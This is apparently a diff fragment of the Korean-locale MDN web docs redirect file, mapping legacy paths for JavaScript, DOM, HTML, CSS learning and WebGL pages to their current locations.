+/ko/docs/Core_JavaScript_1.5_Guide:Predefined_Core_Objects:Array_Object	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Predefined_Core_Objects/Array_Object
+/ko/docs/Core_JavaScript_1.5_Guide:Unicode	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Unicode
+/ko/docs/Core_JavaScript_1.5_Guide:Values	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Values
+/ko/docs/Core_JavaScript_1.5_Guide:Variables	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Variables
+/ko/docs/Core_JavaScript_1.5_Guide:Writing_a_Regular_Expression_Pattern	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Writing_a_Regular_Expression_Pattern
+/ko/docs/Core_JavaScript_1.5_Reference	/ko/docs/Web/JavaScript/Reference
+/ko/docs/Core_JavaScript_1.5_Reference/About	/ko/docs/Web/JavaScript/Reference/About
+/ko/docs/Core_JavaScript_1.5_Reference/About/Formatting_Conventions	/ko/docs/Web/JavaScript/Reference/About
+/ko/docs/Core_JavaScript_1.5_Reference/Global_Functions	/ko/docs/Web/JavaScript/Reference/Global_Objects
+/ko/docs/Core_JavaScript_1.5_Reference/Global_Objects	/ko/docs/Web/JavaScript/Reference/Global_Objects
+/ko/docs/Core_JavaScript_1.5_Reference/Global_Objects/Array	/ko/docs/Web/JavaScript/Reference/Global_Objects/Array
+/ko/docs/Core_JavaScript_1.5_Reference/Global_Objects/Boolean	/ko/docs/Web/JavaScript/Reference/Global_Objects/Boolean
+/ko/docs/Core_JavaScript_1.5_Reference/Global_Objects/Date	/ko/docs/Web/JavaScript/Reference/Global_Objects/Date
+/ko/docs/Core_JavaScript_1.5_Reference/Global_Objects/Error	/ko/docs/Web/JavaScript/Reference/Global_Objects/Error
+/ko/docs/Core_JavaScript_1.5_Reference/Global_Objects/Function	/ko/docs/Web/JavaScript/Reference/Global_Objects/Function
+/ko/docs/Core_JavaScript_1.5_Reference/Global_Objects/Function/call	/ko/docs/Web/JavaScript/Reference/Global_Objects/Function/call
+/ko/docs/Core_JavaScript_1.5_Reference/Global_Objects/Function/prototype	/ko/docs/Web/JavaScript/Reference/Global_Objects/Function
+/ko/docs/Core_JavaScript_1.5_Reference/Global_Objects/NaN	/ko/docs/Web/JavaScript/Reference/Global_Objects/NaN
+/ko/docs/Core_JavaScript_1.5_Reference/Global_Objects/Object	/ko/docs/Web/JavaScript/Reference/Global_Objects/Object
+/ko/docs/Core_JavaScript_1.5_Reference/Global_Objects/String	/ko/docs/Web/JavaScript/Reference/Global_Objects/String
+/ko/docs/Core_JavaScript_1.5_Reference/Global_Objects/String/prototype	/ko/docs/Web/JavaScript/Reference/Global_Objects/String/prototype
+/ko/docs/Core_JavaScript_1.5_Reference/Global_Properties	/ko/docs/Web/JavaScript/Reference/Global_Objects
+/ko/docs/Core_JavaScript_1.5_Reference/Global_Properties/NaN	/ko/docs/Web/JavaScript/Reference/Global_Objects/NaN
+/ko/docs/Core_JavaScript_1.5_Reference/LiveConnect	/ko/docs/Web/JavaScript/Reference/LiveConnect
+/ko/docs/Core_JavaScript_1.5_Reference/Objects	/ko/docs/Web/JavaScript/Reference/Global_Objects
+/ko/docs/Core_JavaScript_1.5_Reference/Objects/Function	/ko/docs/Web/JavaScript/Reference/Global_Objects/Function
+/ko/docs/Core_JavaScript_1.5_Reference/Operators	/ko/docs/Web/JavaScript/Reference/Operators
+/ko/docs/Core_JavaScript_1.5_Reference/Operators/Bitwise_Operators	/ko/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators
+/ko/docs/Core_JavaScript_1.5_Reference/Operators/Special_Operators	/ko/docs/Web/JavaScript/Reference/Operators
+/ko/docs/Core_JavaScript_1.5_Reference/Operators/Special_Operators/this_Operator	/ko/docs/Web/JavaScript/Reference/Operators/this
+/ko/docs/Core_JavaScript_1.5_Reference/Operators/this	/ko/docs/Web/JavaScript/Reference/Operators/this
+/ko/docs/Core_JavaScript_1.5_Reference/Operators/void	/ko/docs/Web/JavaScript/Reference/Operators/void
+/ko/docs/Core_JavaScript_1.5_Reference/Reserved_Words	/ko/docs/Web/JavaScript/Reference/Lexical_grammar#키워드
+/ko/docs/Core_JavaScript_1.5_Reference/Statements	/ko/docs/Web/JavaScript/Reference/Statements
+/ko/docs/Core_JavaScript_1.5_Reference/Statements/for...in	/ko/docs/Web/JavaScript/Reference/Statements/for...in
+/ko/docs/Core_JavaScript_1.5_Reference:About	/ko/docs/Web/JavaScript/Reference/About
+/ko/docs/Core_JavaScript_1.5_Reference:About:Formatting_Conventions	/ko/docs/Web/JavaScript/Reference/About
+/ko/docs/Core_JavaScript_1.5_Reference:Global_Functions	/ko/docs/Web/JavaScript/Reference/Global_Objects
+/ko/docs/Core_JavaScript_1.5_Reference:Global_Objects	/ko/docs/Web/JavaScript/Reference/Global_Objects
+/ko/docs/Core_JavaScript_1.5_Reference:Global_Objects:Array	/ko/docs/Web/JavaScript/Reference/Global_Objects/Array
+/ko/docs/Core_JavaScript_1.5_Reference:Global_Objects:Date	/ko/docs/Web/JavaScript/Reference/Global_Objects/Date
+/ko/docs/Core_JavaScript_1.5_Reference:Global_Objects:Function	/ko/docs/Web/JavaScript/Reference/Global_Objects/Function
+/ko/docs/Core_JavaScript_1.5_Reference:Global_Objects:Function:prototype	/ko/docs/Web/JavaScript/Reference/Global_Objects/Function
+/ko/docs/Core_JavaScript_1.5_Reference:Global_Properties	/ko/docs/Web/JavaScript/Reference/Global_Objects
+/ko/docs/Core_JavaScript_1.5_Reference:LiveConnect	/ko/docs/Web/JavaScript/Reference/LiveConnect
+/ko/docs/Core_JavaScript_1.5_Reference:Objects:Function	/ko/docs/Web/JavaScript/Reference/Global_Objects/Function
+/ko/docs/Core_JavaScript_1.5_Reference:Operators:Special_Operators:this_Operator	/ko/docs/Web/JavaScript/Reference/Operators/this
+/ko/docs/Core_JavaScript_1.5_Reference:Reserved_Words	/ko/docs/Web/JavaScript/Reference/Lexical_grammar#키워드
+/ko/docs/Creating_XPCOM_Components:An_Overview_of_XPCOM	/ko/docs/Creating_XPCOM_Components/An_Overview_of_XPCOM
+/ko/docs/Creating_XPCOM_Components:Preface	/ko/docs/Creating_XPCOM_Components/Preface
+/ko/docs/DOM	/ko/docs/Web/API/Document_Object_Model
+/ko/docs/DOM/Notification.permission	/ko/docs/Web/API/Notification/permission
+/ko/docs/DOM/document	/ko/docs/Web/API/Document
+/ko/docs/DOM/document.activeElement	/ko/docs/Web/API/DocumentOrShadowRoot/activeElement
+/ko/docs/DOM/document.alinkColor	/ko/docs/Web/API/Document/alinkColor
+/ko/docs/DOM/document.anchors	/ko/docs/Web/API/Document/anchors
+/ko/docs/DOM/document.applets	/ko/docs/Web/API/Document/applets
+/ko/docs/DOM/document.body	/ko/docs/Web/API/Document/body
+/ko/docs/DOM/document.createElement	/ko/docs/Web/API/Document/createElement
+/ko/docs/DOM/document.createTextNode	/ko/docs/Web/API/Document/createTextNode
+/ko/docs/DOM/document.getElementById	/ko/docs/Web/API/Document/getElementById
+/ko/docs/DOM/document.hasFocus	/ko/docs/Web/API/Document/hasFocus
+/ko/docs/DOM/element	/ko/docs/Web/API/element
+/ko/docs/DOM/element.attributes	/ko/docs/Web/API/Element/attributes
+/ko/docs/DOM/element.childNodes	/ko/docs/Web/API/Node/childNodes
+/ko/docs/DOM/element.firstChild	/ko/docs/Web/API/Node/firstChild
+/ko/docs/DOM/element.lastChild	/ko/docs/Web/API/Node/lastChild
+/ko/docs/DOM/element.length	/ko/docs/Web/API/NodeList/length
+/ko/docs/DOM/element.scrollIntoView	/ko/docs/Web/API/Element/scrollIntoView
+/ko/docs/DOM/element.style	/ko/docs/Web/API/HTMLElement/style
+/ko/docs/DOM/element.tabIndex	/ko/docs/Web/API/HTMLElement/tabIndex
+/ko/docs/DOM/event	/ko/docs/Web/API/Event
+/ko/docs/DOM/event.cancelable	/ko/docs/Web/API/Event/cancelable
+/ko/docs/DOM/event.preventDefault	/ko/docs/Web/API/Event/preventDefault
+/ko/docs/DOM/form	/ko/docs/Web/API/HTMLFormElement
+/ko/docs/DOM/range	/ko/docs/Web/API/Range
+/ko/docs/DOM/selection	/ko/docs/Web/API/Selection
+/ko/docs/DOM/table	/ko/docs/Web/API/HTMLTableElement
+/ko/docs/DOM/table.width	/ko/docs/Web/API/HTMLTableElement/width
+/ko/docs/DOM/window	/ko/docs/Web/API/Window
+/ko/docs/DOM/window.getComputedStyle	/ko/docs/Web/API/Window/getComputedStyle
+/ko/docs/DOM/window.navigator.geolocation.getCurrentPosition	/ko/docs/Web/API/Geolocation/getCurrentPosition
+/ko/docs/DOM/window.navigator.registerProtocolHandler	/ko/docs/Web/API/Navigator/registerProtocolHandler
+/ko/docs/DOM:WRONG_DOCUMENT_ERR_note	/ko/docs/DOM/WRONG_DOCUMENT_ERR_note
+/ko/docs/DOM:Whitespace_template	/ko/docs/DOM/Whitespace_template
+/ko/docs/DOM:document	/ko/docs/Web/API/Document
+/ko/docs/DOM:document.activeElement	/ko/docs/Web/API/DocumentOrShadowRoot/activeElement
+/ko/docs/DOM:document.alinkColor	/ko/docs/Web/API/Document/alinkColor
+/ko/docs/DOM:document.anchors	/ko/docs/Web/API/Document/anchors
+/ko/docs/DOM:document.applets	/ko/docs/Web/API/Document/applets
+/ko/docs/DOM:document.body	/ko/docs/Web/API/Document/body
+/ko/docs/DOM:document.createElement	/ko/docs/Web/API/Document/createElement
+/ko/docs/DOM:document.createTextNode	/ko/docs/Web/API/Document/createTextNode
+/ko/docs/DOM:document.getElementById	/ko/docs/Web/API/Document/getElementById
+/ko/docs/DOM:document.hasFocus	/ko/docs/Web/API/Document/hasFocus
+/ko/docs/DOM:element	/ko/docs/Web/API/element
+/ko/docs/DOM:element.attributes	/ko/docs/Web/API/Element/attributes
+/ko/docs/DOM:element.childNodes	/ko/docs/Web/API/Node/childNodes
+/ko/docs/DOM:element.firstChild	/ko/docs/Web/API/Node/firstChild
+/ko/docs/DOM:element.lastChild	/ko/docs/Web/API/Node/lastChild
+/ko/docs/DOM:element.length	/ko/docs/Web/API/NodeList/length
+/ko/docs/DOM:element.style	/ko/docs/Web/API/HTMLElement/style
+/ko/docs/DOM:element.tabIndex	/ko/docs/Web/API/HTMLElement/tabIndex
+/ko/docs/DOM:event	/ko/docs/Web/API/Event
+/ko/docs/DOM:form	/ko/docs/Web/API/HTMLFormElement
+/ko/docs/DOM:range	/ko/docs/Web/API/Range
+/ko/docs/DOM:selection	/ko/docs/Web/API/Selection
+/ko/docs/DOM:table	/ko/docs/Web/API/HTMLTableElement
+/ko/docs/DOM:table.width	/ko/docs/Web/API/HTMLTableElement/width
+/ko/docs/DOM:window	/ko/docs/Web/API/Window
+/ko/docs/DOM:window.navigator.registerProtocolHandler	/ko/docs/Web/API/Navigator/registerProtocolHandler
+/ko/docs/DOM_Inspector	/ko/docs/Tools/Add-ons/DOM_Inspector
+/ko/docs/Developer_Guide	/ko/docs/Mozilla/Developer_guide
+/ko/docs/Developer_Guide/Coding_Style	/ko/docs/Mozilla/Developer_guide/Coding_Style
+/ko/docs/Developer_Guide/Source_Code	/ko/docs/Mozilla/Developer_guide/Source_Code
+/ko/docs/Developer_Guide/Source_Code/Mercurial	/ko/docs/Mozilla/Developer_guide/Source_Code/Mercurial
+/ko/docs/Developer_guide/Eclipse	/ko/docs/Mozilla/Developer_guide/Eclipse
+/ko/docs/Developer_guide/Eclipse/Eclipse_CDT	/ko/docs/Mozilla/Developer_guide/Eclipse/Eclipse_CDT
+/ko/docs/Developing_Mozilla	/ko/docs/Mozilla/Developer_guide
+/ko/docs/Download_Mozilla_Source_Code	/ko/docs/Mozilla/Developer_guide/Source_Code/Downloading_Source_Archives
+/ko/docs/Drawing_Graphics_with_Canvas	/ko/docs/Web/HTML/Canvas/Tutorial
+/ko/docs/ECMAScript	/ko/docs/Web/JavaScript
+/ko/docs/EXSLT	/ko/docs/Web/EXSLT
+/ko/docs/Eclipse	/ko/docs/Mozilla/Developer_guide/Eclipse
+/ko/docs/Firefox_1.5	/ko/docs/Firefox_1.5_for_developers
+/ko/docs/Firefox_2	/ko/docs/Firefox_2_for_developers
+/ko/docs/Firefox_3.1_for_developers	/ko/docs/Firefox_3.5_for_developers
+/ko/docs/Firefox_3_for_developers	/ko/docs/Mozilla/Firefox/Releases/3
+/ko/docs/Focus_management_in_HTML	/ko/docs/Web/API/Document/hasFocus
+/ko/docs/HTML	/ko/docs/Web/HTML
+/ko/docs/HTML/Block-level_elements	/ko/docs/Web/HTML/Block-level_elements
+/ko/docs/HTML/Canvas	/ko/docs/Web/HTML/Canvas
+/ko/docs/HTML/Element	/ko/docs/Web/HTML/Element
+/ko/docs/HTML/Element/Video	/ko/docs/Web/HTML/Element/Video
+/ko/docs/HTML/Element/a	/ko/docs/Web/HTML/Element/a
+/ko/docs/HTML/Focus_management_in_HTML	/ko/docs/Web/API/Document/hasFocus
+/ko/docs/HTML/HTML%EC%97%90%EC%84%9C_%ED%8F%BC	/ko/docs/Learn/HTML/Forms
+/ko/docs/HTML/HTML5	/ko/docs/Web/HTML/HTML5
+/ko/docs/HTML/HTML5/HTML5_element_list	/ko/docs/Web/HTML/Element
+/ko/docs/HTML/HTML5/Introduction_to_HTML5	/ko/docs/Web/HTML/HTML5/Introduction_to_HTML5
+/ko/docs/HTML/Inline_elements	/ko/docs/Web/HTML/Inline_elements
+/ko/docs/HTML/Introduction	/ko/docs/Learn/HTML/Introduction_to_HTML
+/ko/docs/HTML/Using_the_application_cache	/ko/docs/Web/HTML/Using_the_application_cache
+/ko/docs/HTML:Canvas	/ko/docs/Web/HTML/Canvas
+/ko/docs/HTML:Element	/ko/docs/Web/HTML/Element
+/ko/docs/HTML:Element:a	/ko/docs/Web/HTML/Element/a
+/ko/docs/HTML:Inline_elements	/ko/docs/Web/HTML/Inline_elements
+/ko/docs/IndexedDB	/ko/docs/Web/API/IndexedDB_API
+/ko/docs/IndexedDB/Basic_Concepts_Behind_IndexedDB	/ko/docs/Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB
+/ko/docs/IndexedDB/Using_IndexedDB	/ko/docs/Web/API/IndexedDB_API/Using_IndexedDB
+/ko/docs/Introduction	/ko/docs/Mozilla/Developer_guide/Introduction
+/ko/docs/JSAPI_Reference/Alphabetical_List	/ko/docs/JSAPI_Reference
+/ko/docs/JSAPI_Reference:Alphabetical_List	/ko/docs/JSAPI_Reference
+/ko/docs/JSCLASS_NEW_ENUMERATE	/ko/docs/JSAPI_Reference/JSClass.flags
+/ko/docs/JavaScript	/ko/docs/Web/JavaScript
+/ko/docs/JavaScript/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0	/ko/docs/Web/JavaScript/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0
+/ko/docs/JavaScript/%EC%96%B8%EC%96%B4_%EB%A6%AC%EC%86%8C%EC%8A%A4	/ko/docs/Web/JavaScript/%EC%96%B8%EC%96%B4_%EB%A6%AC%EC%86%8C%EC%8A%A4
+/ko/docs/JavaScript/Data_structures	/ko/docs/Web/JavaScript/Data_structures
+/ko/docs/JavaScript/Guide	/ko/docs/Web/JavaScript/Guide
+/ko/docs/JavaScript/Guide/About	/ko/docs/Web/JavaScript/Guide/%EC%86%8C%EA%B0%9C
+/ko/docs/JavaScript/Guide/Closures	/ko/docs/Web/JavaScript/Guide/Closures
+/ko/docs/JavaScript/Guide/Inheritance_and_the_prototype_chain	/ko/docs/Web/JavaScript/Guide/Inheritance_and_the_prototype_chain
+/ko/docs/JavaScript/Guide/Obsolete_Pages	/ko/docs/Web/JavaScript/Guide
+/ko/docs/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide	/ko/docs/Web/JavaScript/Guide
+/ko/docs/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/About	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/About
+/ko/docs/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Class-Based_vs._Prototype-Based_Languages	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Class-Based_vs._Prototype-Based_Languages
+/ko/docs/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Constants	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Constants
+/ko/docs/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects
+/ko/docs/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Defining_Getters_and_Setters	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Defining_Getters_and_Setters
+/ko/docs/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Defining_Methods	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Defining_Methods
+/ko/docs/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Defining_Properties_for_an_Object_Type	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Defining_Properties_for_an_Object_Type
+/ko/docs/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Deleting_Properties	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Deleting_Properties
+/ko/docs/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Indexing_Object_Properties	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Indexing_Object_Properties
+/ko/docs/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Using_a_Constructor_Function	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Using_a_Constructor_Function
+/ko/docs/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Using_this_for_Object_References	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Using_this_for_Object_References
+/ko/docs/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_a_Regular_Expression	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_a_Regular_Expression
+/ko/docs/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Expressions	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Expressions
+/ko/docs/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/JavaScript_Overview	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/JavaScript_Overview
+/ko/docs/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Literals	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Literals
+/ko/docs/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Objects_and_Properties	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Objects_and_Properties
+/ko/docs/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators
+/ko/docs/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/Arithmetic_Operators	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/Arithmetic_Operators
+/ko/docs/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/Assignment_Operators	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/Assignment_Operators
+/ko/docs/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/Bitwise_Operators	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/Bitwise_Operators
+/ko/docs/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/Comparison_Operators	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/Comparison_Operators
+/ko/docs/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/Logical_Operators	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/Logical_Operators
+/ko/docs/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/Special_Operators	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/Special_Operators
+/ko/docs/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/String_Operators	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/String_Operators
+/ko/docs/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Predefined_Core_Objects	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Predefined_Core_Objects
+/ko/docs/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Predefined_Core_Objects/Array_Object	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Predefined_Core_Objects/Array_Object
+/ko/docs/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Unicode	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Unicode
+/ko/docs/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Values	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Values
+/ko/docs/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Variables	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Variables
+/ko/docs/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Writing_a_Regular_Expression_Pattern	/ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Writing_a_Regular_Expression_Pattern
+/ko/docs/JavaScript/Guide/Values,_variables,_and_literals	/ko/docs/Web/JavaScript/Guide/Values,_variables,_and_literals
+/ko/docs/JavaScript/Introduction_to_Object-Oriented_JavaScript	/ko/docs/Web/JavaScript/Introduction_to_Object-Oriented_JavaScript
+/ko/docs/JavaScript/Memory_Management	/ko/docs/Web/JavaScript/Memory_Management
+/ko/docs/JavaScript/New_in_JavaScript	/ko/docs/Web/JavaScript/New_in_JavaScript
+/ko/docs/JavaScript/New_in_JavaScript/New_in_JavaScript_1.7	/ko/docs/Web/JavaScript/New_in_JavaScript/1.7
+/ko/docs/JavaScript/New_in_JavaScript/New_in_JavaScript_1.8	/ko/docs/Web/JavaScript/New_in_JavaScript/1.8
+/ko/docs/JavaScript/Reference	/ko/docs/Web/JavaScript/Reference
+/ko/docs/JavaScript/Reference/About	/ko/docs/Web/JavaScript/Reference/About
+/ko/docs/JavaScript/Reference/About/Formatting_Conventions	/ko/docs/Web/JavaScript/Reference/About
+/ko/docs/JavaScript/Reference/Global_Functions	/ko/docs/Web/JavaScript/Reference/Global_Objects
+/ko/docs/JavaScript/Reference/Global_Objects	/ko/docs/Web/JavaScript/Reference/Global_Objects
+/ko/docs/JavaScript/Reference/Global_Objects/Array	/ko/docs/Web/JavaScript/Reference/Global_Objects/Array
+/ko/docs/JavaScript/Reference/Global_Objects/Boolean	/ko/docs/Web/JavaScript/Reference/Global_Objects/Boolean
+/ko/docs/JavaScript/Reference/Global_Objects/Date	/ko/docs/Web/JavaScript/Reference/Global_Objects/Date
+/ko/docs/JavaScript/Reference/Global_Objects/Error	/ko/docs/Web/JavaScript/Reference/Global_Objects/Error
+/ko/docs/JavaScript/Reference/Global_Objects/Function	/ko/docs/Web/JavaScript/Reference/Global_Objects/Function
+/ko/docs/JavaScript/Reference/Global_Objects/Function/call	/ko/docs/Web/JavaScript/Reference/Global_Objects/Function/call
+/ko/docs/JavaScript/Reference/Global_Objects/Function/prototype	/ko/docs/Web/JavaScript/Reference/Global_Objects/Function
+/ko/docs/JavaScript/Reference/Global_Objects/NaN	/ko/docs/Web/JavaScript/Reference/Global_Objects/NaN
+/ko/docs/JavaScript/Reference/Global_Objects/Object	/ko/docs/Web/JavaScript/Reference/Global_Objects/Object
+/ko/docs/JavaScript/Reference/Global_Objects/String	/ko/docs/Web/JavaScript/Reference/Global_Objects/String
+/ko/docs/JavaScript/Reference/Global_Objects/String/prototype	/ko/docs/Web/JavaScript/Reference/Global_Objects/String/prototype
+/ko/docs/JavaScript/Reference/Global_Properties	/ko/docs/Web/JavaScript/Reference/Global_Objects
+/ko/docs/JavaScript/Reference/LiveConnect	/ko/docs/Web/JavaScript/Reference/LiveConnect
+/ko/docs/JavaScript/Reference/Objects	/ko/docs/Web/JavaScript/Reference/Global_Objects
+/ko/docs/JavaScript/Reference/Objects/Function	/ko/docs/Web/JavaScript/Reference/Global_Objects/Function
+/ko/docs/JavaScript/Reference/Operators	/ko/docs/Web/JavaScript/Reference/Operators
+/ko/docs/JavaScript/Reference/Operators/Bitwise_Operators	/ko/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators
+/ko/docs/JavaScript/Reference/Operators/Special_Operators	/ko/docs/Web/JavaScript/Reference/Operators
+/ko/docs/JavaScript/Reference/Operators/this	/ko/docs/Web/JavaScript/Reference/Operators/this
+/ko/docs/JavaScript/Reference/Operators/void	/ko/docs/Web/JavaScript/Reference/Operators/void
+/ko/docs/JavaScript/Reference/Reserved_Words	/ko/docs/Web/JavaScript/Reference/Lexical_grammar#키워드
+/ko/docs/JavaScript/Reference/Statements	/ko/docs/Web/JavaScript/Reference/Statements
+/ko/docs/JavaScript/Reference/Statements/for...in	/ko/docs/Web/JavaScript/Reference/Statements/for...in
+/ko/docs/JavaScript_modules	/ko/docs/Web/JavaScript/Guide/Modules
+/ko/docs/JavaScript_technologies_overview	/ko/docs/Web/JavaScript/JavaScript_technologies_overview
+/ko/docs/JavaScript_technologies_overview-redirect-1	/ko/docs/Web/JavaScript/JavaScript_technologies_overview
+/ko/docs/Learn/CSS/Basics	/en-US/docs/Learn/CSS/First_steps
+/ko/docs/Learn/CSS/Introduction_to_CSS	/en-US/docs/Learn/CSS/First_steps
+/ko/docs/Learn/CSS/Introduction_to_CSS/%EC%84%A0%ED%83%9D%EC%9E%90	/en-US/docs/Learn/CSS/Building_blocks/Selectors
+/ko/docs/Learn/CSS/Introduction_to_CSS/Attribute_selectors	/en-US/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors
+/ko/docs/Learn/CSS/Introduction_to_CSS/Cascade_and_inheritance	/en-US/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance
+/ko/docs/Learn/CSS/Introduction_to_CSS/Combinators_and_multiple_selectors	/en-US/docs/Learn/CSS/Building_blocks/Selectors/Combinators
+/ko/docs/Learn/CSS/Introduction_to_CSS/How_CSS_works	/en-US/docs/Learn/CSS/First_steps/How_CSS_works
+/ko/docs/Learn/CSS/Introduction_to_CSS/Pseudo-classes_and_pseudo-elements	/en-US/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements
+/ko/docs/Learn/CSS/Introduction_to_CSS/Simple_selectors	/en-US/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors
+/ko/docs/Learn/CSS/Introduction_to_CSS/Syntax	/en-US/docs/Learn/CSS/First_steps/How_CSS_is_structured
+/ko/docs/Learn/CSS/Introduction_to_CSS/Values_and_units	/en-US/docs/Learn/CSS/Building_blocks/Values_and_units
+/ko/docs/Learn/CSS/Styling_boxes	/en-US/docs/Learn/CSS/Building_blocks
+/ko/docs/Learn/CSS/Styling_boxes/Backgrounds	/en-US/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders
+/ko/docs/Learn/GitHub	/ko/docs/Learn/Tools_and_testing/GitHub
+/ko/docs/Learn/HTML/Forms/My_first_HTML_form	/ko/docs/Learn/HTML/Forms/Your_first_HTML_form
+/ko/docs/Learn/WebGL/By_example	/ko/docs/Web/API/WebGL_API/By_example
+/ko/docs/Learn/WebGL/By_example/Clearing_by_clicking	/ko/docs/Web/API/WebGL_API/By_example/Clearing_by_clicking
+/ko/docs/Learn/WebGL/By_example/Detect_WebGL	/ko/docs/Web/API/WebGL_API/By_example/Detect_WebGL
+/ko/docs/Learn/WebGL/By_example/Hello_GLSL	/ko/docs/Web/API/WebGL_API/By_example/Hello_GLSL
+/ko/docs/Learn/WebGL/By_example/Hello_vertex_attributes	/ko/docs/Web/API/WebGL_API/By_example/Hello_vertex_attributes
+/ko/docs/Learn/WebGL/By_example/Scissor_animation	/ko/docs/Web/API/WebGL_API/By_example/Scissor_animation
